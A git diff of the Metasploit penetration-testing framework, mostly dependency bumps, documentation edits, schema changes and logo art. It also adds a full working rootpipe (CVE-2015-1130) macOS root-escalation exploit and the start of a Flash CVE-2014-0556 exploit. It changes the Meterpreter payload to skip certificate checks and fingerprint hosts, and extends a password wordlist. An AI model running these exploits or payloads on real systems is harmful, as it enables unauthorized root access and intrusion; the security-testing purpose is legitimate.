diff --git a/.gitignore b/.gitignore index 015a4fd9f7..1619d775e4 100644 --- a/.gitignore +++ b/.gitignore @@ -67,17 +67,7 @@ external/source/exploits/**/Release # Avoid checking in Meterpreter binaries. These are supplied upstream by # the meterpreter_bins gem. -data/meterpreter/elevator.*.dll -data/meterpreter/ext_server_espia.*.dll -data/meterpreter/ext_server_extapi.*.dll -data/meterpreter/ext_server_incognito.*.dll -data/meterpreter/ext_server_kiwi.*.dll -data/meterpreter/ext_server_lanattacks.*.dll -data/meterpreter/ext_server_mimikatz.*.dll -data/meterpreter/ext_server_priv.*.dll -data/meterpreter/ext_server_stdapi.*.dll -data/meterpreter/metsrv.*.dll -data/meterpreter/screenshot.*.dll +data/meterpreter/*.dll # Avoid checking in Meterpreter libs that are built from # private source. If you're interested in this functionality, diff --git a/.travis.yml b/.travis.yml index 4a9ffd5e2a..3306ddfe5f 100644 --- a/.travis.yml +++ b/.travis.yml @@ -38,3 +38,6 @@ branches: except: - gh-pages - metakitty + +addons: + postgresql: '9.3' \ No newline at end of file diff --git a/CONTRIBUTING.md b/CONTRIBUTING.md index bcb3d8273a..b3d216bd4d 100644 --- a/CONTRIBUTING.md +++ b/CONTRIBUTING.md @@ -4,8 +4,8 @@ Thanks for your interest in making Metasploit -- and therefore, the world -- a better place! Are you about to report a bug? Sorry to hear it. Here's our [Issue tracker]. -Please try to be as specific as you can about your problem, include steps -to reproduce (cut and paste from your console output if it's helpful), and +Please try to be as specific as you can about your problem; include steps +to reproduce (cut and paste from your console output if it's helpful) and what you were expecting to happen. Are you about to report a security vulnerability in Metasploit itself? @@ -18,7 +18,7 @@ Metasploit module? If so, read on... # Contributing to Metasploit -What you see here in CONTRIBUTING.md is a bullet-point list of the do's +What you see here in CONTRIBUTING.md is a bullet point list of the do's and don'ts of how to make sure *your* valuable contributions actually make it into Metasploit's master branch. @@ -27,7 +27,7 @@ closed. Sorry! This is intended to be a **short** list. The [wiki] is much more exhaustive and reveals many mysteries. If you read nothing else, take a -look at the standard [development environment setup] guide, +look at the standard [development environment setup] guide and Metasploit's [Common Coding Mistakes]. ## Code Contributions @@ -52,7 +52,7 @@ Pull requests [PR#2940] and [PR#3043] are a couple good examples to follow. #### New Modules * **Do** run `tools/msftidy.rb` against your module and fix any errors or warnings that come up. - - Even better would be to set up `msftidy.rb` as a [pre-commit hook]. + - It would be even better to set up `msftidy.rb` as a [pre-commit hook]. * **Do** use the many module mixin [API]s. Wheel improvements are welcome; wheel reinventions, not so much. * **Don't** include more than one module per pull request. @@ -80,11 +80,11 @@ Pull requests [PR#2940] and [PR#3043] are a couple good examples to follow. * **Do** report vulnerabilities in Rapid7 software directly to security@rapid7.com. * **Do** write a detailed description of your bug and use a descriptive title. * **Do** include reproduction steps, stack traces, and anything else that might help us verify and fix your bug. -* **Don't** file duplicate reports - search for your bug before filing a new report. +* **Don't** file duplicate reports; search for your bug before filing a new report. If you need some more guidance, talk to the main body of open -source contributors over on the [Freenode IRC channel] -or e-mail us at [metasploit-hackers] mailing list. +source contributors over on the [Freenode IRC channel], +or e-mail us at the [metasploit-hackers] mailing list. Also, **thank you** for taking the few moments to read this far! You're already way ahead of the curve, so keep it up! @@ -92,7 +92,7 @@ already way ahead of the curve, so keep it up! [Issue Tracker]:http://r-7.co/MSF-BUGv1 [PGP key]:http://pgp.mit.edu:11371/pks/lookup?op=vindex&search=0x2380F85B8AD4DB8D [wiki]:https://github.com/rapid7/metasploit-framework/wiki -[scripts]: https://github.com/rapid7/metasploit-framework/tree/master/scripts +[scripts]:https://github.com/rapid7/metasploit-framework/tree/master/scripts [development environment setup]:http://r-7.co/MSF-DEV [Common Coding Mistakes]:https://github.com/rapid7/metasploit-framework/wiki/Common-Metasploit-Module-Coding-Mistakes [Ruby style guide]:https://github.com/bbatsov/ruby-style-guide @@ -104,10 +104,10 @@ already way ahead of the curve, so keep it up! [PR#2940]:https://github.com/rapid7/metasploit-framework/pull/2940 [PR#3043]:https://github.com/rapid7/metasploit-framework/pull/3043 [pre-commit hook]:https://github.com/rapid7/metasploit-framework/blob/master/tools/dev/pre-commit-hook.rb -[API]:https://rapid7.github.io/metasploit-framework/api/ -[RSpec]:http://rspec.info/ -[Better Specs]:http://betterspecs.org/ -[YARD]:http://yardoc.org/ +[API]:https://rapid7.github.io/metasploit-framework/api +[RSpec]:http://rspec.info +[Better Specs]:http://betterspecs.org +[YARD]:http://yardoc.org [Issues]:https://github.com/rapid7/metasploit-framework/issues [Freenode IRC channel]:http://webchat.freenode.net/?channels=%23metasploit&uio=d4 [metasploit-hackers]:https://lists.sourceforge.net/lists/listinfo/metasploit-hackers diff --git a/Gemfile.lock b/Gemfile.lock index aa5e42f9b6..923133b8ff 100644 --- a/Gemfile.lock +++ b/Gemfile.lock @@ -7,9 +7,9 @@ PATH bcrypt jsobfu (~> 0.2.0) json - metasploit-concern (~> 0.3.0) + metasploit-concern (= 0.4.0) metasploit-model (~> 0.29.0) - meterpreter_bins (= 0.0.16) + meterpreter_bins (= 0.0.22) msgpack nokogiri packetfu (= 1.1.9) @@ -22,9 +22,9 @@ PATH tzinfo metasploit-framework-db (4.11.0.pre.dev) activerecord (>= 3.2.21, < 4.0.0) - metasploit-credential (~> 0.14.3) + metasploit-credential (= 0.14.5) metasploit-framework (= 4.11.0.pre.dev) - metasploit_data_models (~> 0.23.0) + metasploit_data_models (= 0.24.0) pg (>= 0.11) metasploit-framework-pcap (4.11.0.pre.dev) metasploit-framework (= 4.11.0.pre.dev) @@ -101,45 +101,45 @@ GEM gherkin (2.11.6) json (>= 1.7.6) hike (1.2.3) - i18n (0.6.11) + i18n (0.7.0) journey (1.0.4) jsobfu (0.2.1) rkelly-remix (= 0.0.6) - json (1.8.1) + json (1.8.2) mail (2.5.4) mime-types (~> 1.16) treetop (~> 1.4.8) - metasploit-concern (0.3.0) + metasploit-concern (0.4.0) activesupport (~> 3.0, >= 3.0.0) railties (< 4.0.0) - metasploit-credential (0.14.3) - metasploit-concern (~> 0.3.0) + metasploit-credential (0.14.5) + metasploit-concern (= 0.4.0) metasploit-model (~> 0.29.0) - metasploit_data_models (~> 0.23.0) + metasploit_data_models (= 0.24.0) pg railties (< 4.0.0) rubyntlm rubyzip (~> 1.1) - metasploit-model (0.29.0) + metasploit-model (0.29.2) activesupport railties (< 4.0.0) - metasploit_data_models (0.23.1) + metasploit_data_models (0.24.0) activerecord (>= 3.2.13, < 4.0.0) activesupport arel-helpers - metasploit-concern (~> 0.3.0) + metasploit-concern (= 0.4.0) metasploit-model (~> 0.29.0) pg railties (< 4.0.0) recog (~> 1.0) - meterpreter_bins (0.0.16) + meterpreter_bins (0.0.22) method_source (0.8.2) mime-types (1.25.1) - mini_portile (0.6.1) + mini_portile (0.6.2) msgpack (0.5.11) multi_json (1.0.4) network_interface (0.0.1) - nokogiri (1.6.5) + nokogiri (1.6.6.2) mini_portile (~> 0.6.0) packetfu (1.1.9) pcaprub (0.11.3) @@ -154,7 +154,7 @@ GEM rack (>= 0.4) rack-ssl (1.3.4) rack - rack-test (0.6.2) + rack-test (0.6.3) rack (>= 1.0) rails (3.2.21) actionmailer (= 3.2.21) @@ -175,9 +175,9 @@ GEM rb-readline-r7 (0.5.2.0) rdoc (3.12.2) json (~> 1.4) - recog (1.0.16) + recog (1.0.27) nokogiri - redcarpet (3.1.2) + redcarpet (3.2.3) rkelly-remix (0.0.6) robots (0.10.1) rspec (2.99.0) @@ -219,7 +219,7 @@ GEM treetop (1.4.15) polyglot polyglot (>= 0.3.1) - tzinfo (0.3.42) + tzinfo (0.3.43) xpath (2.0.0) nokogiri (~> 1.3) yard (0.8.7.4) diff --git a/README.md b/README.md index 89e12d47ef..9d0ef82820 100644 --- a/README.md +++ b/README.md @@ -3,7 +3,7 @@ Metasploit [![Build Status](https://travis-ci.org/rapid7/metasploit-framework.pn The Metasploit Framework is released under a BSD-style license. See COPYING for more details. -The latest version of this software is available from https://metasploit.com/ +The latest version of this software is available from: https://metasploit.com Bug tracking and development information can be found at: https://github.com/rapid7/metasploit-framework @@ -20,8 +20,8 @@ Questions and suggestions can be sent to: Installing -- -Generally, you should use [the free installer](https://www.metasploit.com/download) -which contains all dependencies and will get you up and running with a +Generally, you should use [the free installer](https://www.metasploit.com/download), +which contains all of the dependencies and will get you up and running with a few clicks. See the [Dev Environment Setup](http://r-7.co/MSF-DEV) if you'd like to deal with dependencies on your own. @@ -34,10 +34,10 @@ resources](https://metasploit.github.io), or the [wiki]. Contributing -- -See the [Dev Environment Setup][wiki-devenv] guide on GitHub which will -walk you through the whole process starting from installing all the +See the [Dev Environment Setup][wiki-devenv] guide on GitHub, which will +walk you through the whole process from installing all the dependencies, to cloning the repository, and finally to submitting a -pull request. For slightly more info, see +pull request. For slightly more information, see [Contributing](https://github.com/rapid7/metasploit-framework/blob/master/CONTRIBUTING.md). diff --git a/data/exploits/CVE-2014-0556/msf.swf b/data/exploits/CVE-2014-0556/msf.swf new file mode 100755 index 0000000000..24cfc1a53a Binary files /dev/null and b/data/exploits/CVE-2014-0556/msf.swf differ diff --git a/data/exploits/CVE-2014-0569/msf.swf b/data/exploits/CVE-2014-0569/msf.swf new file mode 100755 index 0000000000..90737fca36 Binary files /dev/null and b/data/exploits/CVE-2014-0569/msf.swf differ diff --git a/data/exploits/CVE-2015-0313/msf.swf b/data/exploits/CVE-2015-0313/msf.swf new file mode 100755 index 0000000000..68b0ad0e6b Binary files /dev/null and b/data/exploits/CVE-2015-0313/msf.swf differ diff --git a/data/exploits/CVE-2015-1130/exploit.py b/data/exploits/CVE-2015-1130/exploit.py new file mode 100644 index 0000000000..0d83f3e22a --- /dev/null +++ b/data/exploits/CVE-2015-1130/exploit.py @@ -0,0 +1,73 @@ +######################################################## +# +# PoC exploit code for rootpipe (CVE-2015-1130) +# +# Created by Emil Kvarnhammar, TrueSec +# +# Tested on OS X 10.7.5, 10.8.2, 10.9.5 and 10.10.2 +# +######################################################## +import os +import sys +import platform +import re +import ctypes +import objc +import sys +from Cocoa import NSData, NSMutableDictionary, NSFilePosixPermissions +from Foundation import NSAutoreleasePool + +def load_lib(append_path): + return ctypes.cdll.LoadLibrary("/System/Library/PrivateFrameworks/" + append_path); + +def use_old_api(): + return re.match("^(10.7|10.8)(.\d)?$", platform.mac_ver()[0]) + + +args = sys.argv + +if len(args) != 3: + print "usage: exploit.py source_binary dest_binary_as_root" + sys.exit(-1) + +source_binary = args[1] +dest_binary = os.path.realpath(args[2]) + +if not os.path.exists(source_binary): + raise Exception("file does not exist!") + +pool = NSAutoreleasePool.alloc().init() + +attr = NSMutableDictionary.alloc().init() +attr.setValue_forKey_(04777, NSFilePosixPermissions) +data = NSData.alloc().initWithContentsOfFile_(source_binary) + +print "will write file", dest_binary + +if use_old_api(): + adm_lib = load_lib("/Admin.framework/Admin") + Authenticator = objc.lookUpClass("Authenticator") + ToolLiaison = objc.lookUpClass("ToolLiaison") + SFAuthorization = objc.lookUpClass("SFAuthorization") + + authent = Authenticator.sharedAuthenticator() + authref = SFAuthorization.authorization() + + # authref with value nil is not accepted on OS X <= 10.8 + authent.authenticateUsingAuthorizationSync_(authref) + st = ToolLiaison.sharedToolLiaison() + tool = st.tool() + tool.createFileWithContents_path_attributes_(data, dest_binary, attr) +else: + adm_lib = load_lib("/SystemAdministration.framework/SystemAdministration") + WriteConfigClient = objc.lookUpClass("WriteConfigClient") + client = WriteConfigClient.sharedClient() + client.authenticateUsingAuthorizationSync_(None) + tool = client.remoteProxy() + + tool.createFileWithContents_path_attributes_(data, dest_binary, attr, 0) + + +print "Done!" + +del pool diff --git a/data/logos/pony-01.aftxt b/data/logos/pony-01.aftxt new file mode 100644 index 0000000000..829ff2ba07 --- /dev/null +++ b/data/logos/pony-01.aftxt @@ -0,0 +1,35 @@ + _________________________________________________  +< This console just got 20% cooler > + -------------------------------------------------  + / + /  + ▀▄▄▄▄▄▄▄▄ /  + ▀▀▄▄▄▄▄█▄▄▄▄ /  + ▄███▄▄▄▄██▄██ /  + ▄██▄█▄▄█▄▄██▄███ /  + ▄██▄█████▄██▄▄█▄▄ /  +▄███████▄██▄▀▀▄▄██ /  +██████████▄▄▄ ██▄█ /  +██▄███▄███ ▀▀ ████ /  +▀███▄███▄▀ ███ /  + ▀ ████▄▀ █▄█ /  + ██▄▀█ ▄▄▄▄▄▄▄▄ /  + ▀▄█ ▀ ▄▄█▄██████▄▄ /  + ▀█ ███▄█████████ /  + ▄███▄▄█████████ /  + ███████▄██████▄▀ /  + █████▄▄█████████  + ▄▄███▄▀ █▄███████ ▄▄▄▄▄▄▄▄▄  + ▄▄█████ ▄█▄██▄████▄█▄█▄▄██▄▄██▄█▀  + ▀▄██▄▀▄▄▄███▄▄███▄██▄▄███▄▄███▄▄▄  + ▀▀ ▄███████████████▄▄▄██▄▄███▀▄  + ████▄█████████▄▄▄▄▄█▄▄▄▄▄███  + ███████▄█████▄▄████▄▄██▄██▀▄██  + ▀▀▄▄██████▄██████▄▄▄████▄▄ ▀▀▀  + ▄▄██████████▄▄█▄▄▄▄▄██▄▄▄  + ██▄█████████▄▄▄██████████  + ▀▀ █▄████ ███▄█▄▄▄▄▄▄▄▀▀  + ▄▄████ ████▄██  + ▀▄████ ██▄███  + ▀▄▄▀ ██▀█▀▀  + █  diff --git a/data/logos/pony-02.aftxt b/data/logos/pony-02.aftxt new file mode 100644 index 0000000000..3cc5a68e8b --- /dev/null +++ b/data/logos/pony-02.aftxt @@ -0,0 +1,31 @@ + __________________  +< Shells are cool. > + ------------------  + \  + \  + \  + \  + \ ▄▄▄▄▄▄▄▄▄  + ███████████  + ▄▄██████████  + ▄▄███████████▄▄  + ▄███████████▄▄▄█▄▄  + ▄▄██▄▄▄▄▄▄▄▄▄███▄▄█▄▄  + ▄▄████▄▄███████████████  + ████████▄▄▄▄█████████▄▀  + ███████▄███▄▄████████  +▄▄▄███████▄█▄█████████▄▀ ▄▄▄▄▄▄  + ▀▄▄███████▄▄▄███████▄▀ ▄▄██████▄▄█▀  + ▀▄▄▄██████▄█████▄▀ ▄▄███████████▄  + ▀▀▀▀▀▀█▄███▄▄▄▄▄▄▄▄▄▄▄▄▄▀▀▀▄██████▄▄ + ███▄▄█▄██████████▄▄ █████▄▄█ + ▄███▄█████████▄█▄██ ▄▄████ ▀ + ▀▀▄██████████▄▄▄▄▀ ▀▀ ██▄▀  + █████▄▄▄▄█▄███▄▄ █▄▀  + ██████ ▀▄▄██████ ▀  + ▄▄▄████ ████████  + ███████ █████████  + ▄█▄▄█████ █████████  + █▄███████ █▄▄███████  + █▄▄▄▄▄█ █▄▄▄▄▄█  +  diff --git a/data/logos/pony-03.aftxt b/data/logos/pony-03.aftxt new file mode 100644 index 0000000000..78a9d469d8 --- /dev/null +++ b/data/logos/pony-03.aftxt @@ -0,0 +1,27 @@ + ______________________________  +< I love SHELLS! > + ------------------------------  + \  + \  + \  + ▄▄██▄█▄▄▄▄  + ▄▄█████▄▄▄▄█▄▄  + ▄▄▄██████████▄▄▄▀  + ██▄▄█▄▄▄▄█▄▄█▄█  + ██▄▄▄████▄▄▄████  + ▄▄████▄▄▄██▄█▄▄▀  + ▄▄▄▄▄▄▄▄▄▄ ██▄█▄▄██▄▄▄▄▄██▄▄█ + ▄▄▄▄▄▄▄▄▄▄▄▄▄▄ █▄▄▄██▄█████▄▄▄▀▀  + ▄▄████▄▄▄▄▄▄▄▄▄▄ ██▄▄▄▄███████▄▄▄  + █████▄▄▄▄▄▀▀▄▄▄▄▄▄██▄▄▄█▄███▄█▀▀▀  + ████▄█▄█ █▄██▄▄█▄▄▄██▄███  + ▀▄▄▄▄█▄▄▄ ██▄█▄██▄▄▄▄▄█▄███  + ▀▄██▄▄██▄█ ██▄█▄██▄█▄▄█████  + █▄█▄███▄▄█ ████▄▄█▄▄▄██▄█  + ▄██ ███▄██▄███ ▄▄▄█▄▄▄█▀▀██████  + ▀▄▄█▄█▄▄█▄██▀▀▀ ▄▄██▄▄██ ██████  + ▀▄▄▀██▄▄▀▀▀ ▄▄█████▄▀ ▄▄█████  + ▀▀▀ ▄▄███████ ███████  + ▄▄███▄▄██ ▄▄███████  + ██████▀▀▀ ▀▄████▀▀▀  + ▀▀▀▀▀▀ ▀▀▀  diff --git a/data/logos/pony-04.aftxt b/data/logos/pony-04.aftxt new file mode 100644 index 0000000000..0dc449ea8a --- /dev/null +++ b/data/logos/pony-04.aftxt @@ -0,0 +1,29 @@ + ____________________________________  +< My Little Pwny: Exploits are Magic > + ------------------------------------  + \  + \  + \  + ▄▄▄▄▄▄▄▄▄▄  + ▄▄█████████▄▄▄▄▄▄▄  + █▄▄▄████████▄▄▄▄████ + █▄▄▄██▄█████▄████████ + ▄▄▄██████▄▄▄▄▄▄▄▄▄██▄▀  + ████▄████▄▄▄▄▄▄██▄▄█▄▄  + ██████████████████████  + ▀▄███▄███▄██▄▄▄████▀▀  + ▄▄▄▄▄▄▄▄▄ ▀▄██▄▄██▄▄█▄▄▄▄███▄  + ▄▄█████████▄▄ ▀█▄█████▄█▄▄▄█▄███  + ███████▄▀▀▀▄█▄▄ ▄▄█▄▄█▄▄█▄▄▄▄▄▄▀▀  + ████████ ▀▄▄▄▄▄███▄██▄▄▄██  + ████████ ▄▄ ▄▄█████▄▄▄▄██████  + ████████▄▄██ ███████████████▄▀  + ▀▄██████▄▄▄▀ ▀▄████████████▄▀  + ▄▄████▄▄██ ▄███▄█▄▄▄▄██▄██  + █████████▄▀ █████▄▄▀ ██████  + ███▄███▀▀ ███████ ███▄▄▄▄  + ▀▄▄▄▀ ████████ ███████  + ████████ ████▄▄██▄  + ██████▄▄█ ██████▄▄█  + █▄▄▄▄█ █▄▄▄▄█  +  diff --git a/data/logos/pony-05.aftxt b/data/logos/pony-05.aftxt new file mode 100644 index 0000000000..a49914f2ae --- /dev/null +++ b/data/logos/pony-05.aftxt @@ -0,0 +1,24 @@ + ______________________  +< FREE SHELLS FOREVER!!! > + ----------------------  + \  + \ ▄██▄▄▄ ▄▄▄  + \ ███▄▄█▄▄▄▄▄▄▄▄▄  + ▄▄▄███▄▄██▄██████▄▄  + ▄▄▄▄█▄▄██▄▄▄▄▄▄▄▄█▄████  + ████▄▄██▄▄██▄▄▄█▄██▄████ ▄█▄▄▄▄  + ████ █▄██▄▄███▄▄▄█▄▄▄██ ▄▄▄▄▄▄█▄█▄▄▄█▄▄  + ███ ██████████▄██████ ██▄▄▄▄█▄▄▄██████  + ▀▄██ ▄█▄▄█▄████▄▄█▄▄▄█▄▄▄▄█▄▄█████▄▄████████  + ▀█ ███▄██████████▄▄███▄██▄▄██████▄▄███████  + ▄▀ ▀▀█▄▄▄▄▄███▄▄▄▄▄▄▄██▄███▄███▄▄██████▄▀  + ▀ ██▄▄██▄▄█▄▄▄▄▄▄▄ ▀▀▄▄█▄▄▄███▄▄  + █████▄▄█▄▄███▄▄▄█ ████▄▄███▄▄ + █▄▄█▄▄▄▄▄█▄██▄▄█ ███▄█▄▄▄█▄██ + ▄▄▄█▄█████▄████ ▀▄█████▄▄██▀ + ▄█▄▄▄▄███▀▄█▄████▄█ ▀▄█▄▄███ ▄ + ▄▄██▄██▄▄▄▀█▄███▄██▄▀ ▄▄█▄█▄▄█ + █▄██████ ███▄▄███▄▀ ▀▄▄▄▄▀▀  + ██████ ▀▀███████  + ▀▀▀▀▀▀ ▀▀▀▀▀▀  +  diff --git a/data/meterpreter/ext_server_networkpug.lso b/data/meterpreter/ext_server_networkpug.lso index e4b7a9a911..d8b8672bf7 100755 Binary files a/data/meterpreter/ext_server_networkpug.lso and b/data/meterpreter/ext_server_networkpug.lso differ diff --git a/data/meterpreter/ext_server_sniffer.lso b/data/meterpreter/ext_server_sniffer.lso index 6f1a3cfb58..4fc1bb2391 100755 Binary files a/data/meterpreter/ext_server_sniffer.lso and b/data/meterpreter/ext_server_sniffer.lso differ diff --git a/data/meterpreter/ext_server_stdapi.lso b/data/meterpreter/ext_server_stdapi.lso index 593caf386e..64b4e1e72e 100755 Binary files a/data/meterpreter/ext_server_stdapi.lso and b/data/meterpreter/ext_server_stdapi.lso differ diff --git a/data/meterpreter/meterpreter.py b/data/meterpreter/meterpreter.py index 0d3edae9e9..fe1dd3fc87 100644 --- a/data/meterpreter/meterpreter.py +++ b/data/meterpreter/meterpreter.py @@ -1,6 +1,7 @@ #!/usr/bin/python import code import os +import platform import random import select import socket @@ -141,6 +142,8 @@ TLV_TYPE_TARGET_PATH = TLV_META_TYPE_STRING | 401 TLV_TYPE_MIGRATE_PID = TLV_META_TYPE_UINT | 402 TLV_TYPE_MIGRATE_LEN = TLV_META_TYPE_UINT | 403 +TLV_TYPE_MACHINE_ID = TLV_META_TYPE_STRING | 460 + TLV_TYPE_CIPHER_NAME = TLV_META_TYPE_STRING | 500 TLV_TYPE_CIPHER_PARAMETERS = TLV_META_TYPE_GROUP | 501 @@ -264,7 +267,7 @@ def tlv_pack(*args): data = struct.pack('>II', 9, tlv['type']) + bytes(chr(int(bool(tlv['value']))), 'UTF-8') else: value = tlv['value'] - if sys.version_info[0] < 3 and isinstance(value, __builtins__['unicode']): + if sys.version_info[0] < 3 and value.__class__.__name__ == 'unicode': value = value.encode('UTF-8') elif not is_bytes(value): value = bytes(value, 'UTF-8') @@ -393,11 +396,17 @@ class PythonMeterpreter(object): print(msg) def driver_init_http(self): + opener_args = [] + scheme = HTTP_CONNECTION_URL.split(':', 1)[0] + if scheme == 'https' and ((sys.version_info[0] == 2 and sys.version_info >= (2,7,9)) or sys.version_info >= (3,4,3)): + import ssl + ssl_ctx = ssl.SSLContext(ssl.PROTOCOL_SSLv23) + ssl_ctx.check_hostname=False + ssl_ctx.verify_mode=ssl.CERT_NONE + opener_args.append(urllib.HTTPSHandler(0, ssl_ctx)) if HTTP_PROXY: - proxy_handler = urllib.ProxyHandler({'http': HTTP_PROXY}) - opener = urllib.build_opener(proxy_handler) - else: - opener = urllib.build_opener() + opener_args.append(urllib.ProxyHandler({scheme: HTTP_PROXY})) + opener = urllib.build_opener(*opener_args) if HTTP_USER_AGENT: opener.addheaders = [('User-Agent', HTTP_USER_AGENT)] urllib.install_opener(opener) @@ -560,6 +569,36 @@ class PythonMeterpreter(object): pkt = struct.pack('>I', len(pkt) + 4) + pkt self.send_packet(pkt) + def _core_machine_id(self, request, response): + serial = '' + machine_name = platform.uname()[1] + if has_windll: + from ctypes import wintypes + + k32 = ctypes.windll.kernel32 + sys_dir = ctypes.create_unicode_buffer(260) + if not k32.GetSystemDirectoryW(ctypes.byref(sys_dir), 260): + return ERROR_FAILURE_WINDOWS + + vol_buf = ctypes.create_unicode_buffer(260) + fs_buf = ctypes.create_unicode_buffer(260) + serial_num = wintypes.DWORD(0) + + if not k32.GetVolumeInformationW(ctypes.c_wchar_p(sys_dir.value[:3]), + vol_buf, ctypes.sizeof(vol_buf), ctypes.byref(serial_num), None, + None, fs_buf, ctypes.sizeof(fs_buf)): + return ERROR_FAILURE_WINDOWS + serial_num = serial_num.value + serial = "{0:04x}-{1:04x}".format((serial_num >> 16) & 0xFFFF, serial_num & 0xFFFF) + else: + for _, _, files in os.walk('/dev/disk/by-id/'): + for f in files: + if f[:4] == 'ata-': + serial = f[4:] + break + response += tlv_pack(TLV_TYPE_MACHINE_ID, "%s:%s" % (serial, machine_name)) + return ERROR_SUCCESS, response + def _core_loadlib(self, request, response): data_tlv = packet_get_tlv(request, TLV_TYPE_DATA) if (data_tlv['type'] & TLV_META_TYPE_COMPRESSED) == TLV_META_TYPE_COMPRESSED: @@ -710,7 +749,7 @@ class PythonMeterpreter(object): resp = struct.pack('>I', len(resp) + 4) + resp return resp -if not hasattr(os, 'fork') or (hasattr(os, 'fork') and os.fork() == 0): +if not hasattr(os, 'fork') or has_osxsc or (hasattr(os, 'fork') and os.fork() == 0): if hasattr(os, 'setsid'): try: os.setsid() diff --git a/data/meterpreter/msflinker_linux_x86.bin b/data/meterpreter/msflinker_linux_x86.bin index 8ca96330f0..84bcbc5e94 100644 Binary files a/data/meterpreter/msflinker_linux_x86.bin and b/data/meterpreter/msflinker_linux_x86.bin differ diff --git a/data/templates/template_x64_bsd.bin b/data/templates/template_x64_bsd.bin new file mode 100755 index 0000000000..7adb4fca06 Binary files /dev/null and b/data/templates/template_x64_bsd.bin differ diff --git a/data/wordlists/unix_passwords.txt b/data/wordlists/unix_passwords.txt index 14097908f9..02728bc293 100755 --- a/data/wordlists/unix_passwords.txt +++ b/data/wordlists/unix_passwords.txt @@ -1002,3 +1002,4 @@ sq!us3r adminpasswd raspberry 74k&^*nh#$ +arcsight \ No newline at end of file diff --git a/db/schema.rb b/db/schema.rb index dc45813e0b..5d9c171619 100644 --- a/db/schema.rb +++ b/db/schema.rb @@ -11,7 +11,7 @@ # # It's strongly recommended to check this file into your version control system. -ActiveRecord::Schema.define(:version => 20150212214222) do +ActiveRecord::Schema.define(:version => 20150326183742) do create_table "api_keys", :force => true do |t| t.text "token" @@ -19,6 +19,54 @@ ActiveRecord::Schema.define(:version => 20150212214222) do t.datetime "updated_at", :null => false end + create_table "automatic_exploitation_match_results", :force => true do |t| + t.integer "match_id" + t.integer "run_id" + t.string "state", :null => false + t.datetime "created_at", :null => false + t.datetime "updated_at", :null => false + end + + add_index "automatic_exploitation_match_results", ["match_id"], :name => "index_automatic_exploitation_match_results_on_match_id" + add_index "automatic_exploitation_match_results", ["run_id"], :name => "index_automatic_exploitation_match_results_on_run_id" + + create_table "automatic_exploitation_match_sets", :force => true do |t| + t.integer "workspace_id" + t.integer "user_id" + t.datetime "created_at", :null => false + t.datetime "updated_at", :null => false + end + + add_index "automatic_exploitation_match_sets", ["user_id"], :name => "index_automatic_exploitation_match_sets_on_user_id" + add_index "automatic_exploitation_match_sets", ["workspace_id"], :name => "index_automatic_exploitation_match_sets_on_workspace_id" + + create_table "automatic_exploitation_matches", :force => true do |t| + t.integer "module_detail_id" + t.string "state" + t.integer "nexpose_data_vulnerability_definition_id" + t.datetime "created_at", :null => false + t.datetime "updated_at", :null => false + t.integer "match_set_id" + t.string "matchable_type" + t.integer "matchable_id" + t.text "module_fullname" + end + + add_index "automatic_exploitation_matches", ["module_detail_id"], :name => "index_automatic_exploitation_matches_on_ref_id" + add_index "automatic_exploitation_matches", ["module_fullname"], :name => "index_automatic_exploitation_matches_on_module_fullname" + + create_table "automatic_exploitation_runs", :force => true do |t| + t.integer "workspace_id" + t.integer "user_id" + t.integer "match_set_id" + t.datetime "created_at", :null => false + t.datetime "updated_at", :null => false + end + + add_index "automatic_exploitation_runs", ["match_set_id"], :name => "index_automatic_exploitation_runs_on_match_set_id" + add_index "automatic_exploitation_runs", ["user_id"], :name => "index_automatic_exploitation_runs_on_user_id" + add_index "automatic_exploitation_runs", ["workspace_id"], :name => "index_automatic_exploitation_runs_on_workspace_id" + create_table "clients", :force => true do |t| t.integer "host_id" t.datetime "created_at" @@ -155,19 +203,22 @@ ActiveRecord::Schema.define(:version => 20150212214222) do end create_table "loots", :force => true do |t| - t.integer "workspace_id", :default => 1, :null => false + t.integer "workspace_id", :default => 1, :null => false t.integer "host_id" t.integer "service_id" - t.string "ltype", :limit => 512 - t.string "path", :limit => 1024 + t.string "ltype", :limit => 512 + t.string "path", :limit => 1024 t.text "data" - t.datetime "created_at", :null => false - t.datetime "updated_at", :null => false + t.datetime "created_at", :null => false + t.datetime "updated_at", :null => false t.string "content_type" t.text "name" t.text "info" + t.integer "module_run_id" end + add_index "loots", ["module_run_id"], :name => "index_loots_on_module_run_id" + create_table "macros", :force => true do |t| t.datetime "created_at", :null => false t.datetime "updated_at", :null => false @@ -359,6 +410,26 @@ ActiveRecord::Schema.define(:version => 20150212214222) do add_index "module_refs", ["detail_id"], :name => "index_module_refs_on_module_detail_id" add_index "module_refs", ["name"], :name => "index_module_refs_on_name" + create_table "module_runs", :force => true do |t| + t.datetime "attempted_at" + t.text "fail_detail" + t.string "fail_reason" + t.text "module_fullname" + t.integer "port" + t.string "proto" + t.integer "session_id" + t.string "status" + t.integer "trackable_id" + t.string "trackable_type" + t.integer "user_id" + t.string "username" + t.datetime "created_at", :null => false + t.datetime "updated_at", :null => false + end + + add_index "module_runs", ["session_id"], :name => "index_module_runs_on_session_id" + add_index "module_runs", ["user_id"], :name => "index_module_runs_on_user_id" + create_table "module_targets", :force => true do |t| t.integer "detail_id" t.integer "index" @@ -481,13 +552,16 @@ ActiveRecord::Schema.define(:version => 20150212214222) do t.integer "port" t.string "platform" t.text "datastore" - t.datetime "opened_at", :null => false + t.datetime "opened_at", :null => false t.datetime "closed_at" t.string "close_reason" t.integer "local_id" t.datetime "last_seen" + t.integer "module_run_id" end + add_index "sessions", ["module_run_id"], :name => "index_sessions_on_module_run_id" + create_table "tags", :force => true do |t| t.integer "user_id" t.string "name", :limit => 1024 diff --git a/external/source/exploits/CVE-2014-0556/Main.as b/external/source/exploits/CVE-2014-0556/Main.as new file mode 100755 index 0000000000..99364ccd47 --- /dev/null +++ b/external/source/exploits/CVE-2014-0556/Main.as @@ -0,0 +1,182 @@ +// Build how to: +// 1. Download the AIRSDK, and use its compiler. +// 2. Download the Flex SDK (4.6) +// 3. Copy the Flex SDK libs (/framework/libs) to the AIRSDK folder (/framework/libs) +// (all of them, also, subfolders, specially mx, necessary for the Base64Decoder) +// 4. Build with: mxmlc -o msf.swf Main.as + +// Original code by @hdarwin89 // http://hacklab.kr/cve-2014-0556-%EB%B6%84%EC%84%9D/ +// Modified to be used from msf + +package +{ + import flash.display.Sprite + import flash.display.BitmapData + import flash.geom.Rectangle + import flash.utils.ByteArray + import flash.display.LoaderInfo + import mx.utils.Base64Decoder + + public class Main extends Sprite + { + private var bv:Vector. = new Vector.(12800) + private var uv:Vector. = new Vector.(12800) + private var 